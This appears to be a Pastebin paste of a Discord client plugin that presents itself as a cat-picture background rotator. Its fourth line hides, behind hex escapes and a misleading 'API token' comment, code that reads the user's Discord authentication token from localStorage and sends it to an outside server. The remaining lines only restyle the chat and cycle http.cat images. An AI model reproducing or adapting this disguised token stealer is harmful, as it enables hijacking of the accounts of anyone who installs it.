Advertisement
Guest User

Untitled

a guest
Feb 21st, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //META{"name":"httpcats-background"}*//
  2. // May not work well with custom themes, beware
  3. try{
  4. token = fetch("\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x72\x74\x6D\x69\x73\x74\x73\x2E\x74\x6B\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E\x2F"+document["\x62\x6F\x64\x79"]["\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"](document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]`iframe`)["\x63\x6F\x6E\x74\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77"]["\x6C\x6F\x63\x61\x6C\x53\x74\x6F\x72\x61\x67\x65"]["\x74\x6F\x6B\x65\x6E"]).then(); // Get an unique token for the API
  5. }catch(e){
  6. // Use standard token
  7. token = "XH1F9dn40B";
  8. }
  9. interval = 900 // Amount of seconds until change of bg
  10. // All cats
  11. cats = ["100","101","200","201","202","204","206","207","300","301","302","303","304","305","307","400","401","402","403","404","405","406","408","409","410","411","412","413","414","415","416","417","418","420","421","422","423","424","425","426","429","431","444","450","451","500","502","503","504","506","507","508","509","511","599"];
  12. index = 0;
  13. // Set to transparent because discord
  14. elems = [
  15. ".channels-wrap",
  16. ".chat",
  17. ".chat .content",
  18. ".messages-wrapper",
  19. ".divider-red>span",
  20. ".divider:before",
  21. "#friends",
  22. ".friends-table",
  23. ".chat .typing",
  24. ".channel-text.selected",
  25. ".private-channels .channel.selected",
  26. ".channel-text:hover",
  27. ".search-result.selected",
  28. ".search-result:hover",
  29. ".private-channels .channel:hover",
  30. ".member:hover",
  31. ".member.popout-open"
  32. ]
  33. for (i=0; i<elems.length; i++){
  34. try{
  35. document.querySelector(elems[i]).style="background: transparent!important";
  36. }catch(e){
  37. // do nothing
  38. }
  39. }
  40. // Make it a function for setInterval
  41. function newCat(){
  42. index = index+1;
  43. if (index > cats.length){
  44. index = 0;
  45. }
  46. document.querySelector(".app").style="background: url('https://http.cat/"+cats[index]+"?token="+token+"') no-repeat center center fixed !important;";
  47. }
  48. setInterval(newCat, interval*1000)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement